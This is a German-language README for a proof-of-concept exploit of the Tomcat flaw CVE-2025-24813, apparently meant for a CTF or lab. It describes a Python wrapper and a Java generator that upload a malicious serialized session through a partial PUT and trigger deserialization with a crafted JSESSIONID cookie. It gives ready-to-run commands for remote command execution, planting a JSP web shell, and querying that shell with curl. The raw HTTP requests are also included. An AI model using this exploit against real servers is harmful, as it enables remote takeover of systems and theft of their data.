
Das richtige Payload für Java-CVE
PoC für eine autorisierte CTF-/Lab-Umgebung. Es nutzt CVE-2025-24813 über das partielle PUT-Schreiben einer Tomcat-Session-Datei aus und löst anschließend die Deserialisierung mit JSESSIONID aus.
requestsjava und javac)commons-collections-3.2.1.jar, platziert in diesem Verzeichnisysoserial wird nicht benötigt.
poc_cve_2025_24813.py: Python-Wrapper, der Generierung, Upload und Trigger automatisiert.GenerateTomcatSessionPayload.java: erzeugt eine gültige Tomcat-Session, die ein -Gadget enthält.CommonsCollectionscommons-collections-3.2.1.jar: Abhängigkeit des Gadgets.sh.jsp: optionaler JSP-Shell, der per --drop-shell bereitgestellt wird.Einen JSP-Shell im Standard-Webroot /opt/tomcat/webapps/ROOT ablegen:
./poc_cve_2025_24813.py http://TARGET:8080 \
--session-id poc24813 \
--drop-shell \
--shell-name sh.jsp
Einen direkten Befehl ausführen, ohne einen Shell abzulegen:
./poc_cve_2025_24813.py http://TARGET:8080 \
--session-id cmd24813 \
--cmd 'id > /opt/tomcat/webapps/ROOT/rce.txt'
Falls sich das Webroot unterscheidet:
./poc_cve_2025_24813.py http://TARGET:8080 \
--drop-shell \
--webroot /path/to/webroot \
--shell-name sh.jsp
Falls das JAR verschoben wurde, dessen Pfad angeben:
./poc_cve_2025_24813.py http://TARGET:8080 \
--jar /path/to/commons-collections-3.2.1.jar \
--drop-shell
Falls --drop-shell erfolgreich war:
curl --get --data-urlencode 'cmd=id' http://TARGET:8080/sh.jsp
curl --get --data-urlencode 'cmd=cat /opt/tomcat/user.flg' http://TARGET:8080/sh.jsp
DefaultServlet beschreibbar, typischerweise readonly=false.PersistentManager und FileStore.commons-collections.Das erwartete Verhalten beim Upload ist häufig HTTP 409 Conflict auf:
PUT /<session-id>/session
Content-Range: bytes 0-1000/1200
Danach wird die Deserialisierung ausgelöst mit:
Cookie: JSESSIONID=.<session-id>